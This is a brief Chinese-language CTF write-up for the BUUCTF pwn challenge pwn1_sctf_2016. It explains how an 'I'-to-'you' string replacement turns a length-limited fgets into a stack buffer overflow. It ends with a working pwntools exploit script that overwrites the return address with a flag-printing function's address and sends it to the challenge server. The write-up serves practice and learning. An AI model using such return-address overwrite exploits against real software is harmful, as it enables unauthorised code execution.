T5 pwn1_sctf_2016
2023-01-09WP
BUUCTF pwn第五题
0x01
file checksec——32-bit,开启NX
0x02
IDA中shift+f12可以找到有个cat flag.txt
可以利用这个函数来输出flag
查看调用它的函数并记下它的地址0x8048F0D
继续寻找能够溢出的函数,在main函数中的vuln函数里有fget()函数
但是fget函数限制了输入长度为32,好像并不能构成栈溢出
于是我就蒙了,fget后面的伪代码又不是看得很懂……
查了许多大概理解了是后面的replace函数将一个字节的i换成了三个字节的you
这样一来我们只需要输入20个‘I’,replace后就会变成60个字节的‘you’,这样就能填满长度为0x3Ch的s
payload再覆盖掉ebp再加上get_flag函数的地址就可以了
最后看大佬博客半懂半不懂地写了个exp
(这篇博客感觉算是比较详细的,它甚至是直接分析汇编语言)
0x03
exp
from pwn import *
p = remote('node4.buuoj.cn', 28105)
flag_addre = 0x08048F0D
payload = b'I'*0x14+b'aaaa'+p32(flag_addre)
p.sendline(payload)
p.interactive()
0x04
还是不是很懂到底是怎么看出来是把i换成you的
还有就是这个replace函数的参数列表中那个v4代表的是什么
并没有在v4这里写入i或者you呀,这猜都不好猜是把i换成you了直接点进去看replace的源码好像又不科学,根本看不懂……
补充:C++的伪代码就是比较难看,不能只看IDA了,要结合gdb调试去猜i换成you的替换